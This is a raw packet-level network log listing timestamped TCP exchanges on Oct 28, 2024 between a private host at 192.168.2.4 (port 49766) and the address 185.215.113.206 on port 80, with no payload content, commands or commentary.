Oct 28, 2024 08:17:39.670586109 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.670597076 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.670608044 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.670608044 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.670617104 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.670663118 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.670663118 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.670804024 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.670816898 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.670828104 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.670840025 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.670842886 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.670852900 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.670864105 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.670865059 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.670877934 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.670887947 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.670892000 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.670901060 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.670912027 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.670912981 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.670938015 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.670996904 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.709723949 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.709738016 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.709748983 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.709760904 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.709773064 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.709784985 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.709796906 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.709815025 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.709850073 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.709853888 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.709866047 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.709877968 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.709889889 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.709901094 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.709912062 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.709916115 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.709916115 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.709952116 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.719893932 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.719904900 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.719916105 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.719960928 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.720004082 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.752147913 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.752160072 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.752170086 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.752198935 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.752202988 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.752209902 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.752221107 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.752233028 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.752243042 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.752259970 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.752259970 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.752315044 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.811016083 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.811095953 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.811108112 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.811120033 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.811134100 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.811161041 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.811161041 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.811203003 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.811218023 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.811232090 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.811249018 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.811263084 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.811326981 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.811341047 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.811355114 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.811371088 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.811386108 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.811391115 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.811407089 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.811425924 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.811433077 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.811439991 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.811455011 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.811470985 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.811486006 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.811491966 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.811491966 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.811506033 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.811516047 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.811522961 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.811543941 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.811558962 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.811573029 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.811575890 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.811589003 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.811603069 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.811604023 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.811619997 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.811629057 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.811635971 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.811641932 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.811671019 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.811687946 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.811702967 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.811729908 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.811732054 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.811743975 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.811764956 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.811764956 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.811769962 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.811777115 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.811784983 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.811799049 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.811815977 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.811820984 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.811830997 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.811846018 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.811846972 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.811860085 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.811875105 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.811878920 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.811878920 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.811889887 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.811904907 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.811922073 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.811922073 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.811929941 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.811944962 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.811959982 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.811959982 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.811984062 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.812010050 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.812114954 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.812191963 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.812206030 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.812221050 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.812232971 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.812235117 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.812248945 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.812256098 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.812256098 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.812263012 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.812283993 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.812283993 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.812299013 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.812309027 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.812309027 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.812313080 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.812326908 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.812339067 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.812339067 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.812340021 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.812350035 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.812352896 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.812366962 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.812371016 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.812381029 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.812393904 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.812393904 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.812397957 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.812408924 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.812416077 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.812418938 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.812431097 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.812447071 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.812447071 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.812448025 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.812458038 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.812462091 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.812477112 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.812477112 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.812490940 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.812505007 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.812506914 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.812506914 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.812517881 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.812531948 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.812541008 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.812541008 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.812545061 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.812560081 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.812561989 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.812577009 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.812602043 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.812642097 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.812803030 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.812818050 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.812832117 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.812846899 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.812850952 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.812860966 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.812870979 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.812870979 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.812875986 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.812890053 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.812899113 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.812899113 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.812905073 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.812916040 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.812932014 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.812939882 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.812944889 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.812959909 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.812963963 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.812963963 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.812980890 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.812984943 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.813009977 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.813014030 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.813014030 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.813025951 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.813040018 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.813045025 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.813052893 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.813069105 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.813080072 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.813082933 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.813092947 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.813097000 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.813112974 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.813119888 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.813127995 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.813142061 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.813144922 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.813155890 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.813158035 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.813169956 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.813178062 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.813184977 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.813193083 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.813206911 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.813219070 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.813220978 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.813235044 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.813251019 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.813263893 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.813280106 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.813280106 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.813286066 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.813307047 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.825637102 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.825651884 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.825666904 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.825706959 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.825731993 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.825747013 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.825752020 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.825793982 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.829252005 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.829263926 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.829315901 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.829526901 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.829549074 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.829560995 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.829569101 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.829574108 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.829601049 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.829601049 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.829618931 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.829633951 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.829646111 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.829658985 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.829679012 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.829679012 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.829700947 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.829714060 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.831223965 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.839229107 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.839238882 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.839250088 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.839262009 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.839288950 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.839307070 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.871627092 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.871670008 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.871738911 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.871769905 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.871781111 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.871792078 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.871813059 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.871817112 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.871824026 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.871834040 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.871860981 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.871869087 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.871879101 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.871891022 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.871892929 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.871892929 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.871892929 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.871901035 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.871920109 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.871937990 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.906320095 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.906352043 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.906457901 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.906507969 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.906518936 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.906529903 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.906541109 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.906553030 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.906564951 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.906579971 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.906579971 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.906589985 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.906594992 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.906600952 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.906614065 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.906624079 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.906662941 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.906662941 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.906696081 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.906707048 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.906718969 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.906729937 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.906740904 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.906744957 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.906749964 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.906786919 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.906795979 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.906795979 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.906797886 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.906827927 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.906840086 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.906852961 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.906863928 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.906866074 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.906863928 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.906877995 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.906889915 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.906898975 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.906908035 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.906908989 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.906915903 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.906941891 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.906980991 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.906991005 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.907004118 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.907035112 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.907047987 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.907077074 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.907088041 CET	80	49766	185.215.113.206	192.168.2.4
